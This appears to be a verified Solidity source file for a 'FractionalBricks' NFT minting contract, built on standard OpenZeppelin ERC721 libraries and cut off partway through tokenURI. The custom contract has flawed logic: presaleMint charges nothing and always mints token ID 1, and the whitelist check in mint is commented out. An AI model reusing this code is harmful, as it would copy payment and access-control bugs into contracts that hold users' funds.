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/** *Submitted for verification at Etherscan.io on 2021-10-28 */ // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: FractionalBricks/contracts/FractionalBrick.sol pragma solidity ^0.8.4; contract FractionalBricks is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; uint256 public supply; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.07 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 1000; uint256 public nftPerAddressLimit = 1000; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { // require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function presaleMint(uint _mintAmount) public payable { require(!paused, "the contract is paused"); supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(onlyWhitelisted == true); require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount == 1, "mintAmount for whitelist must be 1"); _safeMint(msg.sender, _mintAmount); } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory){ uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return 